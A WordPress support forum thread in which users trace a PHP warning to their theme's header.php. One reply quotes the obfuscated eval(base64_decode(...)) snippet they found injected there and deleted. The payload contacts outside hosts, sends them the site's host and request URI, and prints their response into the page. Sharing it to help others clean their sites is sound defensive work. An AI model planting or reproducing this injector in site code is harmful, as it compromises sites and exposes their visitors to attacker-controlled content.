WordPress.org

Ready to get started?Download WordPress

Forums

Warning at the top of page (7 posts)

  1. tforre7777
    Member
    Posted 5 years ago #

    Help. I have this warning at the top of my header

    Warning: fclose(): supplied argument is not a valid stream resource in /home1/budgetdi/public_html/wp-content/themes/digg-3-col/header.php(60) : eval()'d code on line 1

    How do I get rid of it??

  2. esmi
    Forum Moderator
    Posted 5 years ago #

    Check what is in your theme's header.php file.

  3. tforre7777
    Member
    Posted 5 years ago #

    Can I copy and post it here?

    Not sure what I am supposed to be looking for.

  4. esmi
    Forum Moderator
    Posted 5 years ago #

    Use the WordPress pastebin. It will make the code easier to read.

  5. hhall72
    Member
    Posted 5 years ago #

    Hi,

    I am running into a similar message with my site (http://cybersteward.net) after having it down for unexplained reasons for over two days.

    I've posted it at http://wordpress.pastebin.ca/1420238 in case anyone would be kind enough to help me figure out the problem.

  6. Wombo55
    Member
    Posted 5 years ago #

    I have the same message and would like it explained

  7. hhall72
    Member
    Posted 5 years ago #

    Wombo55,

    I ran into an obnoxious code snippet when I went through my header.php again. The snippet appears right after the "<body>" tag in that file. It looked like this:

    <?php eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY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U2MDVCNjk2LnBocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7')); ?>

    It was not in the file when I originally downloaded the theme months ago, and I'm not sure why or how it got there, but once I deleted it and updated the file, the site showed no problems anymore.

    Maybe if others are having this issue, they can fix it by deleting that snippet as well.

    That said, I'd still love to know how it got there.

Topic Closed

This topic has been closed to new replies.

About this Topic

Tags

No tags yet.